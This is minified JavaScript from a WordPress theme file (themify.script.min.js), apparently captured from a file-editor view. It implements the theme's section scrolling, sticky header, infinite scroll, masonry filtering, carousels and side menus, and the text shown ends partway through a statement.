Edit File: themify.script.min.js
var $jscomp=$jscomp||{};$jscomp.scope={};$jscomp.findInternal=function(a,n,g){a instanceof String&&(a=String(a));for(var l=a.length,k=0;k<l;k++){var r=a[k];if(n.call(g,r,k,a))return{i:k,v:r}}return{i:-1,v:void 0}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(a,n,g){a!=Array.prototype&&a!=Object.prototype&&(a[n]=g.value)};$jscomp.getGlobal=function(a){return"undefined"!=typeof window&&window===a?a:"undefined"!=typeof global&&null!=global?global:a}; $jscomp.global=$jscomp.getGlobal(this);$jscomp.polyfill=function(a,n,g,l){if(n){g=$jscomp.global;a=a.split(".");for(l=0;l<a.length-1;l++){var k=a[l];k in g||(g[k]={});g=g[k]}a=a[a.length-1];l=g[a];n=n(l);n!=l&&null!=n&&$jscomp.defineProperty(g,a,{configurable:!0,writable:!0,value:n})}};$jscomp.polyfill("Array.prototype.find",function(a){return a?a:function(a,g){return $jscomp.findInternal(this,a,g).v}},"es6-impl","es3"); $jscomp.polyfill("Number.isFinite",function(a){return a?a:function(a){return"number"!==typeof a?!1:!isNaN(a)&&Infinity!==a&&-Infinity!==a}},"es6-impl","es3");$jscomp.polyfill("Number.isInteger",function(a){return a?a:function(a){return Number.isFinite(a)?a===Math.floor(a):!1}},"es6-impl","es3");var FixedHeader={},LayoutAndFilter={},themifyScript,ThemifySlider,ThemifyMediaElement,qp_max_pages; (function(a){var n=a.event,g;var l=n.special.debouncedresize={setup:function(){a(this).on("resize",l.handler)},teardown:function(){a(this).off("resize",l.handler)},handler:function(a,r){var m=this,k=arguments,u=function(){a.type="debouncedresize";n.dispatch.apply(m,k)};g&&clearTimeout(g);r?u():g=setTimeout(u,l.threshold)},threshold:150}})(jQuery); (function(a){a(document).ready(function(){function m(){var b=x?a(y+">.module_row"):a(y+">"+z),c=themifyScript.responsiveBreakpoints||{},d=window.innerWidth,h={desktop:d>=c.tablet_landscape,tablet:d<c.tablet_landscape&&d>=c.mobile,mobile:d<=c.mobile};b.each(function(){var b=a(this),c=this.classList;if(b.is(":hidden"))b.remove();else if(c.contains("hide-desktop")||c.contains("hide-tablet")||c.contains("hide-mobile"))for(var d in h)!0===h[d]&&c.contains("hide-"+d)&&b.remove()});window.top._rowColAlign= "col_align_middle"}function n(b,c){b&&("function"!==typeof a.fn.isotope?Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.isotope.min.js",function(){c()},null,null,function(){return"undefined"!==typeof a.fn.isotope}):c())}function g(){return Themify.body[0].classList.contains("touch")}function l(b){var c;a("body,html").animate({scrollTop:b},{duration:800,start:function(){"undefined"!==typeof Rellax&&"function"===typeof Rellax.disableCheckPosition&&Rellax.disableCheckPosition()},complete:function(){"undefined"!== typeof Rellax&&"function"===typeof Rellax.enableCheckPosition&&(clearTimeout(c),c=setTimeout(Rellax.enableCheckPosition,1E3))}})}function r(a){a=a.prop("class").split(" ");for(var b=/^tb_section-/i,d=null,h=0,e=a.length;h<e;++h)b.test(a[h])&&(d=a[h]);return null===d?"":d.replace("tb_section-","")}function k(){var b=Themify.body,c=!1,d=a(y),h=!(!x&&""!=themifyScript.hash.replace("#","")),e=themifyScript.hash.replace("#",""),V=!b[0].classList.contains("full-section-scrolling-single"),n=b[0].classList.contains("section-scrolling-parallax-enabled"), t=document.getElementsByClassName("module_row")[0];var f=null;var p=".module_row_slide".replace(".",""),M=[];f=null;if(void 0!==t)for(f=document.getElementsByClassName(p)[0],void 0!==f&&f.classList.remove(p),f=null,f=a(y+">"+z),f.each(function(){for(var b=a(this),c=document.createDocumentFragment(),d=document.createElement("div"),f=this.classList,h="",e=f.length-1;-1<e;--e)if(0===f[e].indexOf("tb_section-")){h=r(b);break}for(M.push(h);;)if(h=b.next()[0],void 0!==h&&h.classList.contains(p))c.appendChild(h); else break;d.className="section-container";for(e=f.length-1;-1<e;--e)"fullwidth"!==f[e]&&"fullcover"!==f[e]&&0!==f[e].indexOf("module_row_")&&0!==f[e].indexOf("tb_")&&(d.className+=" "+f[e]);f.add(p);this.parentNode.insertBefore(d,this);d.appendChild(this);d.appendChild(c);d.style.display="block"}),f=document.getElementsByClassName(p),t=f.length-1;-1<t;--t){f[t].parentNode.style.display="none";var g=f[t].getElementsByClassName("row_inner");var m=a(f[t]);var l=m.css("padding-top").replace(/%/g,"vh"); m=m.css("padding-bottom").replace(/%/g,"vh");for(var k=g.length-1;-1<k;--k)g[k].style.paddingTop=l,g[k].style.paddingBottom=m;f[t].style.paddingTop=f[t].style.paddingBottom=0;f[t].parentNode.style.display=""}var g=document.getElementById("main-nav"),q=a(g);if(x&&null!==f&&null!==g)for(t=f.length-1;-1<t;--t){var l=null,u=f[t].classList;m=a(f[t]);for(k=u.length-1;-1<k;--k)if(0===u[k].indexOf("tb_section-")){l=r(m);break}null===l&&(l=f[t].id);l&&(k=g.querySelector('a[href$="#'+l+'"]'),null!==k&&(m=m.closest(".module_row").data("anchor"))&& a(k).attr("href","#"+m+"/"+l).closest("li").attr("data-menuanchor",m+"/"+l))}d.fullpage({resize:!1,sectionSelector:".section-container",slideSelector:".module_row_slide",anchors:M,scrollOverflow:!0,navigation:!0,lockAnchors:!0,verticalCentered:!0,autoScrolling:h,menu:null!==g?"#"+g.id:"",scrollHorizontally:V,scrollHorizontallyKey:"QU5ZX1UycmMyTnliMnhzU0c5eWFYcHZiblJoYkd4NWhLbA==",slidesNavigation:!0,parallax:n,parallaxKey:"QU5ZX0FodGNHRnlZV3hzWVhnPXY1bA==",parallaxOptions:{type:"reveal",percentage:62, property:"translate"},scrollOverflowOptions:{hideScrollbars:!0,preventDefault:!1},afterRender:function(){function d(){a(".module_row_slide").each(function(){var b=a("<div>");b.addClass("fp-bg").css({"background-image":a(this).css("background-image"),"z-index":0});a(this).css("background-image","none").prepend(b)})}h||a.fn.fullpage.setAutoScrolling(!0);var c=a(".module_row_slide.active, .section",a(".section-container.active")),f=x&&c.is('[class*="tb_section-"]')?r(c):c.prop("id"),p=q.find('a[href$="#'+ f+'"]');"undefined"!==typeof ThemifyBuilderModuleJs&&"undefined"!==typeof B&&null!==ThemifyBuilderModuleJs.wow&&J&&(ThemifyBuilderModuleJs.wow.stop(),b.triggerHandler("themify_onepage_afterload"));if(x){var e=a("#fp-nav").find("li").get(a(".module_row").length);"undefined"!==typeof e&&e.hide()}0<p.length?p.closest("li").addClass("current_page_item").siblings().removeClass("current_page_item current-menu-item"):q.find("li").removeClass("current_page_item current-menu-item");b.on({mouseenter:function(){var b= a(this).find("a").attr("href").replace("#","");0<b.length&&a('<div class="multiscroll-tooltip">'+b+"</div>").hide().appendTo(a(this)).fadeIn(200)},mouseleave:function(){a(this).find(".multiscroll-tooltip").fadeOut(200,function(){a(this).remove()})}},"#fp-nav li");p=a(z).find(".fp-tableCell, .fp-scrollable, .fp-scroller").children(".builder_row_cover, .row-slider, .column-slider, .subrow-slider");p.length&&p.each(function(){var b=a(this).closest(".module_row");!b.is(".builder_row_cover, .row-slider, .column-slider, .subrow-slider")&& b.prepend(this)});b.triggerHandler("themify_onepage_after_render",[c,f]);if(n)if(null!==document.querySelector(".module_row_slide[data-fullwidthvideo]"))b.one("tb_bigvideojs_loaded",d);else d()},afterLoad:function(d,f){var p=a(z+".active",a(y)),h=x&&p.is('[class*="tb_section-"]')?r(p):p.prop("id");h||(h=p.data("anchor"));var g=q.find('a[href$="#'+h+'"]');0===g.length&&(g=q.find('a[href$="#'+h+"/"+p.find(".module_row_slide.active").data("anchor")+'"]'));"undefined"!==typeof ThemifyBuilderModuleJs&& "undefined"!==typeof B&&null!==ThemifyBuilderModuleJs.wow&&ThemifyBuilderModuleJs.wow.stop();0<g.length?g.closest("li").addClass("current_page_item").siblings().removeClass("current_page_item current-menu-item"):q.find("li").removeClass("current_page_item current-menu-item");history.pushState&&h?(g=J?"main/"+h:h,c&&e!==h?history.pushState(null,null,"#"+g):history.replaceState(null,null,"#"+g)):history.replaceState(null,null,location.pathname);c=!0;b.triggerHandler("themify_onepage_afterload",[p,h]); N&&1!=f&&!FixedHeader.$headerWrap.hasClass("fixed-header")&&FixedHeader.scrollEnabled();p.find(".tf-video").each(function(){"function"===typeof this.play&&this.play()})},onLeave:function(d,c,f){b.removeClass("fullpagescroll-up fullpagescroll-down").addClass("fullpagescroll-"+f);if(0<b.find("> .mfp-wrap").length)return!1;var p=x?a(y).children(".section-container"):a(y).find(z);if(0<p.length&&0<d&&0<c)if("up"===f)for(;d>=c;d--)p.eq(d-1).find(".module_row").css("visibility","visible");else for(;d<=c;d++)p.eq(d- 1).find(".module_row").css("visibility","visible")},afterSlideLoad:function(d,c,f,p){c=q.find('a[href$="#'+d+"/"+f+'"]');0===c.length&&(c=q.find('a[href$="#'+f+"/"+f+'"]'),0===c.length&&(c=q.find('a[href$="#'+f+'"]')));0<c.length?c.closest("li").addClass("current_page_item").siblings().removeClass("current_page_item current-menu-item"):q.find("li").removeClass("current_page_item current-menu-item");"string"===typeof f?history.replaceState(null,null,"#"+(""!==d?d+"/"+f:f)):history.replaceState(null, null,location.pathname);d=a(z+".active",a(y));d.find(".tf-video").each(function(){"function"===typeof this.play&&this.play()});b.triggerHandler("themify_onepage_afterload",[d])},onSlideLeave:function(d,c,f,p,h,e){d=a(".section-container").find(".module_row_slide");b.triggerHandler("themify_onepage_slide_onleave",[d.eq(h)]);if("left"===p)for(;f>h;--f)d.eq(f-1).css("visibility","visible");else if("right"===p)for(;f<h;++f)d.eq(f+1).css("visibility","visible")}})}function O(b,c){if("undefined"!==typeof a.fn.infinitescroll){var d= parseInt(themifyScript.maxPages);"undefined"!==typeof qp_max_pages&&(d=qp_max_pages);b.infinitescroll({navSelector:"#load-more a:last",nextSelector:"#load-more a:last",itemSelector:c,loadingText:"",donetext:"",loading:{img:themifyScript.loadingImg},maxPage:d,behavior:"auto"!==themifyScript.autoInfinite?"twitter":"",pathParse:function(a){return a.match(/^(.*?)\b\d+\b(?!.*\b\d+\b)(.*?$)/).slice(1)},bufferPx:parseInt(themifyScript.bufferPx),pixelsFromNavToBottom:a("#footerwrap").height(),state:{currPage:themifyScript.currentPage&& Number.isInteger(+themifyScript.currentPage)?+themifyScript.currentPage:1}},function(c,e,g){var h=a(c);a(".newItems").removeClass("newItems");h.addClass("newItems");"reset"===themifyScript.resetFilterOnLoad&&LayoutAndFilter.reset();h.hide().imagesLoaded(function(){h.fadeIn();a(".wp-audio-shortcode, .wp-video-shortcode").not("div").each(function(){var b=a(this);0===b.closest(".mejs-audio").length&&ThemifyMediaElement.init(b)});history.pushState&&!+themifyScript.infiniteURL&&history.pushState(null, null,g);a(".post").contents().find("a:not([class='comment-reply-link'], [id='cancel-comment-reply-link'], .themify_lightbox, .post-content a[href$='jpg'], .post-content a[href$='gif'], .post-content a[href$='png'], .post-content a[href$='JPG'], .post-content a[href$='GIF'], .post-content a[href$='PNG'], .post-content a[target='_new'], .post-content a[target='_blank'])").click(function(){var b=a(this).attr("href");window.parent.location.assign(b);return!1});b.hasClass("auto_tiles")&&Themify.body.hasClass("tile_enable")&& b.trigger("infiniteloaded.themify",[h]);Themify.InitGallery();n("object"===typeof b.data("isotope"),function(){b.isotope("appended",h)});LayoutAndFilter.filterActive&&(LayoutAndFilter.enableFilters(),"scroll"===themifyScript.scrollToNewOnLoad&&LayoutAndFilter.restore());a("#infscr-loading").fadeOut("normal");1===d&&a("#load-more, #infscr-loading").remove();Themify.body.trigger("infiniteloaded.themify",[h]);a(window).trigger("resize")});--d;1<d&&"auto"!==themifyScript.autoInfinite&&a(".load-more-button").show()}); "auto"===themifyScript.autoInfinite&&a("#load-more, #load-more a").hide()}}function P(){var b=0<a(".post-filter+.loops-wrapper,.masonry:not(.list-post)").length||"yes"===themifyScript.shop_masonry&&0<a(".woocommerce.archive").find("#content").find("ul.products").length||0<a(".gallery-wrapper.packery-gallery").length;n(b,function(){LayoutAndFilter.init();e.imagesLoaded().always(function(){LayoutAndFilter.layout()})})}var x=!a(".type-section").length,v=!Themify.is_builder_active&&themifyScript.fullPageScroll&& Themify.body[0].classList.contains("full-section-scrolling"),z=".section-post:not(.section-post-slide)",J=v&&Themify.body[0].classList.contains("full-section-scrolling-horizontal"),y="div:not(.module-layout-part) > #loops-wrapper",N=Themify.body[0].classList.contains("fixed-header"),B;v&&(x&&(v=0<a(".themify_builder").length,z=".module_row:not(.module_row_slide)",y="div:not(.module-layout-part) > .themify_builder_content:not(.not_editable_builder)"),v&&m());FixedHeader={headerHeight:0,hasHeaderSlider:!1, headerSlider:!1,$pageWrap:a("#pagewrap"),$headerWrap:a("#headerwrap"),$window:a(window),stickyHeader:themifyScript.sticky_header,init:function(){if(!Themify.is_builder_active){var b=this;b.calculateHeaderHeight();Themify.body.hasClass("revealing-header")&&"undefined"!==typeof b.$headerWrap[0]&&this.headerRevealing();if(N){if(v)Themify.body.on("themify_onepage_afterload",function(d,c,e){d=0<a(".module_row_slide.active",a(".section-container.active")).closest(".section-container").index();b.activate(d); d&&(d=b.headerHeight,b.calculateHeaderHeight(),d!=b.headerHeight&&b.updatePageOffset())});else b.activate(!1),this.$window.on("scroll touchstart.touchScroll touchmove.touchScroll",function(a){b.activate(!1)});this.$window.load(function(){b.calculateHeaderHeight();b.updatePageOffset();setTimeout(function(){b.calculateHeaderHeight();b.updatePageOffset()},400)}).on("debouncedresize",function(a){a.originalEvent&&a.originalEvent.isTrusted&&setTimeout(function(){b.calculateHeaderHeight();b.updatePageOffset()}, 400)});0<a("#gallery-controller").length&&(b.hasHeaderSlider=!0);if(b.stickyHeader){var c='<img id="sticky_header_logo" src="'+b.stickyHeader.src+'"',c=c+"/>";a("#site-logo a").prepend(c)}Themify.body.on("announcement_bar_position announcement_bar_scroll_on_after announcementBarUpdate",b.calculateHeaderHeight.bind(b))}}},headerRevealing:function(){var a="down",c=0,d=this,h=function(){a=c<this.scrollY?"down":"up";c=this.scrollY;"up"===a||0===c?d.$headerWrap.hasClass("hidden")&&d.$headerWrap.css("top", "").removeClass("hidden"):0<c&&!d.$headerWrap.hasClass("hidden")&&d.$headerWrap.css("top",-d.$headerWrap.outerHeight()).addClass("hidden")};this.$window.on("scroll touchstart.touchScroll touchmove.touchScroll",h);h()},activate:function(a){a||this.$window.scrollTop()>=this.headerHeight?!this.$headerWrap.hasClass("fixed-header")&&this.scrollEnabled():this.$headerWrap.hasClass("fixed-header")&&this.scrollDisabled()},scrollDisabled:function(){this.$headerWrap.removeClass("fixed-header");a("#header").removeClass("header-on-scroll"); Themify.body.removeClass("fixed-header-on");this.$headerWrap.hide();this.$headerWrap[0].offsetHeight;this.$headerWrap.show();this.calculateHeaderHeight();this.updatePageOffset();this.triggerHeaderSlider()},scrollEnabled:function(){this.$headerWrap.addClass("fixed-header");a("#header").addClass("header-on-scroll");Themify.body.addClass("fixed-header-on");this.triggerHeaderSlider();this.updatePageOffset()},triggerHeaderSlider:function(){this.hasHeaderSlider&&"object"===typeof this.$headerWrap.data("backstretch")&& (this.$headerWrap.data("backstretch").resize(),a("#gallery-controller .slides").trigger("next"))},calculateHeaderHeight:function(){var b="fixed"===this.$headerWrap.css("position")?a("body").offset().top:"";this.headerHeight=this.$headerWrap.outerHeight(!0)-(b?parseInt(b):0);this.$headerWrap.css("margin-top",b)},updatePageOffset:function(){J||this.$pageWrap.css("paddingTop",Math.floor(this.headerHeight))}};FixedHeader.init();ThemifySlider={recalcHeight:function(b,c){var d=[];a.each(b,function(){d.push(a(this).outerHeight(!0))}); var h=Math.max.apply(Math,d);c.closest(".carousel-wrap").find(".caroufredsel_wrapper, .slideshow").each(function(){a(this).outerHeight(h)})},didResize:!1,createCarousel:function(b){var c=this;b.each(function(){var b=a(this),h=b.data("id");b.carouFredSel({responsive:!0,prev:"#"+h+" .carousel-prev",next:"#"+h+" .carousel-next",pagination:{container:"#"+h+" .carousel-pager"},circular:!0,infinite:!0,swipe:!0,scroll:{items:b.data("scroll"),fx:"scroll",duration:parseInt(b.data("speed"))},auto:{play:"off"!== b.data("autoplay"),timeoutDuration:"off"!==b.data("autoplay")?parseInt(b.data("autoplay")):0},items:{visible:{min:1,max:b.data("visible")?parseInt(b.data("visible")):1},width:222},onCreate:function(d){var h=b.closest(".slideshow-wrap");h.css({visibility:"visible",height:"auto"});a(window).on("tfsmartresize",function(){c.recalcHeight(d.items,b)}).resize();setTimeout(function(){h.find(".carousel-nav-wrap").css("width",18*parseInt(h.find(".carousel-pager").find("a").length)+"px")},200)}})})}};LayoutAndFilter= {filterActive:!1,init:function(b){a(".post-filter+.loops-wrapper:not(.auto_tiles),.masonry:not(.list-post):not(.auto_tiles), .post-filter+.loops-wrapper .ptb_loops_wrapper",b).each(function(){0===a(this).find(".grid-sizer").length&&a(this).prepend('<div class="grid-sizer"></div><div class="gutter-sizer"></div>')});Themify.is_builder_active||(this.enableFilters(),this.filterActive=!0);this.filter(b)},enableFilters:function(b){b=a(".post-filter",b);"undefined"!==typeof a.fn.isotope&&0<b.find("a").length&& b.find("li").each(function(){var b=a(this),d=b.parent().next(),h=b.attr("class").replace(/(current-cat)|(cat-item)|(-)|(active)/g,"").replace(" ","");0===d.find(".post.cat-"+h).length?b.hide():b.show()})},filter:function(b){var c=a(".post-filter",b),d=!Themify.body.hasClass("rtl");initFilter=function(){c.each(function(){var b=a(this),c={isOriginLeft:d,percentPosition:!0},e=b.next();e.has(".ptb_loops_wrapper").length&&(e.find(".grid-sizer, gutter-sizer").remove(),e=e.find(".ptb_loops_wrapper"));c.masonry= {columnWidth:e.children(".grid-sizer").length?".grid-sizer":null,gutter:e.children(".gutter-sizer").length?".gutter-sizer":null};e.hasClass("masonry")||e.imagesLoaded(function(){c.itemSelector=".post";c.layoutMode="fitRows";c.fitRows={gutter:e.children(".gutter-sizer").length?".gutter-sizer":null};e.addClass("masonry-done").isotope(c)});b.addClass("filter-visible").on("click","a",function(d){d.preventDefault();d.stopPropagation();var h=a(this).parent(),f=!1,p=e.hasClass("auto_tiles")&&Themify.body.hasClass("tile_enable"); h.hasClass("active")?(h.removeClass("active"),!p&&(c.filter=".post")):(h.addClass("active").siblings().removeClass("active"),f=h.attr("class").replace(/(current-cat)|(cat-item)|(-)|(active)/g,"").replace(" ",""),!p&&(c.filter=".cat-"+f));p&&e.data("themify_tiles")?d.isTrigger||(d=e.children(".post"),d.show(),f&&d.not(".cat-"+f).hide(),e.data("themify_tiles").update(),setTimeout(function(){a.themify_tiles.resizeParent(e);b.removeClass("filter-disable")},Math.round(1E3*parseFloat(e.css("transition-duration")))+ 100)):e.addClass("masonry-done").imagesLoaded(function(){e.isotope(c);b.removeClass("filter-disable")})})})};n(0<c.find("a").length,initFilter)},scrolling:!1,reset:function(){a(".post-filter").find("li.active").find("a").addClass("previous-active").trigger("click");this.scrolling=!0},restore:function(){var b=a(".newItems").first(),c=this,b=b.offset().top-b.outerHeight(!0)/2,d=800;800<=b&&(d=800+Math.abs(b/1E3*100));a("html,body").stop().animate({scrollTop:b},d,function(){c.scrolling=!1})},layout:function(b){var c= a(".loops-wrapper.masonry:not(.list-post,.products)",b);if(0<c.length){var d=function(){c.imagesLoaded().always(function(){c.addClass("masonry-done").isotope({masonry:{columnWidth:".grid-sizer",gutter:".gutter-sizer"},itemSelector:".loops-wrapper > article",isOriginLeft:!a("body").hasClass("rtl")}).isotope("once","layoutComplete",function(){a(window).trigger("resize")})})},e=c.children(".loops-wrapper > article").last();if(e.hasClass("wow"))e.one("webkitAnimationEnd oanimationend msAnimationEnd animationend", function(){setTimeout(d,1E3)});else d()}"yes"===themifyScript.shop_masonry&&(e=a(".woocommerce.archive",b).find("#content").find("ul.products"),e=void 0==b?e.add(a(".woocommerce.module").find("ul.products")):e.add(a("ul.products",b)),0<e.length&&e.each(function(){0===a(this).find(".grid-sizer").length&&a(this).prepend('<div class="grid-sizer"></div><div class="gutter-sizer"></div>');a(this).imagesLoaded().always(function(b){a(b.elements[0]).addClass("masonry-done").isotope({masonry:{columnWidth:".grid-sizer", gutter:".gutter-sizer"},itemSelector:".product",isOriginLeft:!Themify.body.hasClass("rtl")})})}));var g=a(".gallery-wrapper.packery-gallery",b);0<g.length&&g.imagesLoaded(function(){g.isotope({layoutMode:"packery",itemSelector:".item"})})},reLayout:function(){a(".masonry").not(".list-post").each(function(){var b=a(this);"object"===typeof b.data("isotope")&&b.isotope("layout")});var b=a(".gallery-wrapper.packery-gallery");0<b.length&&"object"===typeof b.data("isotope")&&b.isotope("layout");"yes"=== themifyScript.shop_masonry&&(b=a(".woocommerce.archive").find("#content").find("ul.products"),b.length&&"object"===typeof b.data("isotope")&&b.isotope("layout"))},destroy:function(a){a.removeClass("masonry masonry-done");"object"===typeof a.data("isotope")&&a.isotope("destroy")}};var e=Themify.body,F=a("#header"),Q=a(".header-icons"),A=a("#menu-icon"),R=a("#cart-icon"),K=a(".cart-icon"),G=K.clone(),S=function(){if(K.length){var b=null;e.is(".header-leftpane, .header-rightpane")?b=a(".social-widget"): Q.is(":visible")&&(b=Q);b&&!G.data("icon-moved")&&(G.themifySideMenu({panel:"#slide-cart",close:"#cart-icon-close"}),G.data("icon-moved",1).appendTo(b));G.toggle(!!b);K.toggle(!b)}};S();a(window).on("tfsmartresize",function(){S()});var q=a(".header-top-widgets .header-widget").wrap("</p>").parent().html();void 0!=q&&a(".header-top-widgets #headerwrap").prepend("<div class='header-widget-full clearfix'><div class='header-widget-inner'>"+q+"</div></div>");q=null;if(Themify.is_builder_active)e.one("builder_load_module_partial", function(a,c,d){c||P()});else P();var C=a(".back-top");if(0<C.length){if(!v&&C.hasClass("back-top-float"))a(window).on("scroll touchstart.touchScroll touchmove.touchScroll",function(){10>window.scrollY?C.addClass("back-top-hide"):C.removeClass("back-top-hide")});C.on("click",function(b){b.preventDefault();b.stopPropagation();v?a("#footerwrap").toggleClass("expanded"):l(0)})}(function(){var b=a(".toggle-sticky-sidebar"),c=a("#sidebar");b.on("click",function(){b.hasClass("open-toggle-sticky-sidebar")? (b.removeClass("open-toggle-sticky-sidebar").addClass("close-toggle-sticky-sidebar"),c.addClass("open-mobile-sticky-sidebar")):(b.removeClass("close-toggle-sticky-sidebar").addClass("open-toggle-sticky-sidebar"),c.removeClass("open-mobile-sticky-sidebar"))})})();g()&&"function"!=typeof a.fn.themifyDropdown&&Themify.LoadAsync(themify_vars.url+"/js/themify.dropdown.js",function(){a("#main-nav").themifyDropdown()});if(e.hasClass("header-minbar")||e.hasClass("header-leftpane"))A.themifySideMenu({close:"#menu-icon-close", side:"left"}),q=function(){if("undefined"!==typeof a.fn.niceScroll&&!g()){var b=F;e.hasClass("header-minbar")&&(b=a("#mobile-menu"));b.niceScroll();e.on("sidemenushow.themify",function(){setTimeout(function(){b.getNiceScroll().resize()},200)})}},F.length&&("function"!==typeof a.fn.niceScroll?Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.nicescroll.min.js",q,null,null,function(){return"undefined"!==typeof a.fn.niceScroll}):q());else if(e.hasClass("header-slide-out")||e.hasClass("header-rightpane")){if(A.themifySideMenu({close:"#menu-icon-close", side:"right"}),q=function(){if("undefined"!==typeof a.fn.niceScroll&&!g()){var b=F;e.hasClass("header-slide-out")&&(b=a("#mobile-menu"));b.niceScroll();e.on("sidemenushow.themify",function(){setTimeout(function(){b.getNiceScroll().resize()},200)})}},F.length||e.hasClass("header-slide-out"))"function"!==typeof a.fn.niceScroll?Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.nicescroll.min.js",q,null,null,function(){return"undefined"!==typeof a.fn.niceScroll}):q()}else{A.themifySideMenu({close:"#menu-icon-close"}); var w=a('<div class="body-overlay">');e.append(w).on("sidemenushow.themify",function(){w.addClass("body-overlay-on")}).on("sidemenuhide.themify",function(){w.removeClass("body-overlay-on")}).on("click.themify touchend.themify",".body-overlay",function(){A.themifySideMenu("hide");R.themifySideMenu("hide")});a(window).on("tfsmartresize",function(){a("#mobile-menu").hasClass("sidemenu-on")&&A.is(":visible")?w.addClass("body-overlay-on"):w.removeClass("body-overlay-on")})}e.hasClass("header-overlay")|| (a("#main-nav li.menu-item-has-children > a, #main-nav li.page_item_has_children > a").after("<span class='child-arrow'></span>"),a("#main-nav .child-arrow,#main-nav a").click(function(b){var c=!0,d=a(this);"A"===this.tagName&&("#"===d.attr("href")&&0<d.next(".child-arrow").length?d=d.next(".child-arrow"):c=!1);c&&(b.preventDefault(),d.toggleClass("toggle-on"))}));if(v&&e.hasClass("query-section"))e.one("themify_fullpage_afterload",function(){e.on("click",'a[href*="#"]:not([href="#"])',function(b){a("#main-nav"); var c=a(this).prop("hash"),d=c.replace(/#/,"").split("/"),d=d[d.length-1],c=a(x?".tb_section-"+d+":not("+z+")":c);c.length&&(b.preventDefault(),b=c.index(),a.fn.fullpage.moveTo(c.closest(".section-container").index()+1,b),c.css("visibility","visible"))})});e.hasClass("header-bottom")&&(a("#footer").after("<a class='footer-tab' href='#'></a>"),a(".footer-tab").click(function(b){b.preventDefault();a("#footerwrap").toggleClass("expanded")}),a("#footer .back-top").detach().appendTo("#pagewrap"));if(e.hasClass("header-leftpane")|| e.hasClass("header-rightpane"))w=a('<div class="body-overlay">'),e.append(w).on("sidemenushow.themify",function(){w.addClass("body-overlay-on")}).on("sidemenuhide.themify",function(){w.removeClass("body-overlay-on")}).on("click.themify touchend.themify",".body-overlay",function(){A.themifySideMenu("hide");R.themifySideMenu("hide")}),a(window).on("tfsmartresize",function(){a("#mobile-menu").hasClass("sidemenu-on")&&A.is(":visible")?w.addClass("body-overlay-on"):w.removeClass("body-overlay-on")});a('a[href="#slide-cart"]').themifySideMenu({panel:"#slide-cart", close:"#cart-icon-close"});a(".highlight-post:odd").addClass("odd");q=function(){"undefined"===typeof a.fn.niceScroll||g()||1200<a(window).width()&&a(".header-horizontal .header-widget, .header-top-bar .header-widget, .boxed-compact .header-widget, .header-stripe .header-widget").niceScroll()};a(".header-horizontal .header-widget, .header-top-bar .header-widget, .boxed-compact .header-widget, .header-stripe .header-widget").length&&("function"!==typeof a.fn.niceScroll?Themify.LoadAsync(themifyScript.themeURI+ "/js/jquery.nicescroll.min.js",q,null,null,function(){return"undefined"!==typeof a.fn.niceScroll}):q());var H=a(".header-horizontal, .header-top-bar, .boxed-compact, .header-stripe").find(".header-widget");0<H.length&&(a(".header-horizontal #main-nav, .header-top-bar #main-nav, .boxed-compact #main-nav, .header-stripe #main-nav").after(a('<a href="#" class="pull-down">')),a(".pull-down").on("click",function(b){g()||("function"!==typeof a.fn.niceScroll?Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.nicescroll.min.js", function(){H.getNiceScroll().resize()},null,null,function(){return"undefined"!==typeof a.fn.niceScroll}):H.getNiceScroll().resize());a("#header").toggleClass("pull-down-close");H.slideToggle("fast",function(){a("#pagewrap").css("paddingTop",a("#headerwrap").outerHeight(!0))});b.preventDefault()}));a(window).on("tfsmartresize",function(){if(1200>a(window).width()){var b=a(".header-horizontal .header-widget, .header-top-bar .header-widget, .boxed-compact .header-widget, .header-stripe .header-widget"); b.length&&!g()&&("function"!==typeof a.fn.niceScroll?Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.nicescroll.min.js",function(){b.getNiceScroll().remove()},null,null,function(){return"undefined"!==typeof a.fn.niceScroll}):b.getNiceScroll().remove());b.attr("style","")}});e.on("click",".loops-wrapper.grid4.polaroid .post-image + .post-content, .loops-wrapper.grid3.polaroid .post-image + .post-content, .loops-wrapper.grid2.polaroid .post-image + .post-content, .loops-wrapper.grid4.overlay .post-image + .post-content, .loops-wrapper.grid3.overlay .post-image + .post-content, .loops-wrapper.grid2.overlay .post-image + .post-content, .loops-wrapper.grid4.flip .post-image + .post-content, .loops-wrapper.grid3.flip .post-image + .post-content, .loops-wrapper.grid2.flip .post-image + .post-content", function(){var b=a(this).closest(".post").find("a[data-post-permalink]");b.attr("href")&&!b.hasClass("themify_lightbox")&&(window.location=b.attr("href"))});a(".loops-wrapper.slider").each(function(b){var c=a(this),d=c.prop("id");d||(d="loops-wrapper-"+b,c.attr("id",d));b=c.addClass("slideshow-wrap").find(".slideshow");0===b.length?c.wrapInner('<div class="slideshow" data-id="'+d+'" data-autoplay="off" data-speed="1000" data-effect="scroll" data-visible="3" />'):b.attr("data-id",d)});var D=a(".slideshow:not(body)"); 0<D.length&&(a.fn.carouFredSel?(ThemifySlider.createCarousel(D),D=null):Themify.LoadAsync(themify_vars.url+"/js/carousel.min.js",function(){ThemifySlider.createCarousel(D);D=null},null,null,function(){return"undefined"!==typeof a.fn.carouFredSel}));var I=a("#headerwrap");e.on("announcement_bar_position announcement_bar_scroll_on_after",function(b,c){a("#pagewrap").css("paddingTop",Math.floor(I.outerHeight(!0)))}).on("announcement_bar_position",function(b,c){if(a(this).hasClass("header-minbar")){var d= I.width();c.css({left:d-Math.abs(parseInt(I.css("left"),10)),right:d-Math.abs(parseInt(I.css("right"),10))})}});var T=0,W=e.hasClass("header-top-bar")||e.hasClass("header-horizontal")||e.hasClass("header-top-widgets")||e.hasClass("boxed-compact")||e.hasClass("header-stripe")||e.hasClass("header-magazine");a(window).on("tfsmartresize",function(){W&&(a(window).width()>tf_mobile_menu_trigger_point?a("#main-nav li.has-mega-column > ul, #main-nav li.has-mega-sub-menu > .mega-sub-menu").css("width",a("#header").width()): a("#main-nav li.has-mega-column > ul,#main-nav li.has-mega-sub-menu > .mega-sub-menu").removeAttr("style"));!T&&"function"===typeof E&&a(".mobile_menu_active").length&&("function"!==typeof a.fn.niceScroll?Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.nicescroll.min.js",E,null,null,function(){return"undefined"!==typeof a.fn.niceScroll}):E(),T=1)});a(".header-overlay #main-nav li.menu-item-has-children > a, .header-overlay #main-nav li.page_item_has_children > a").after("<span 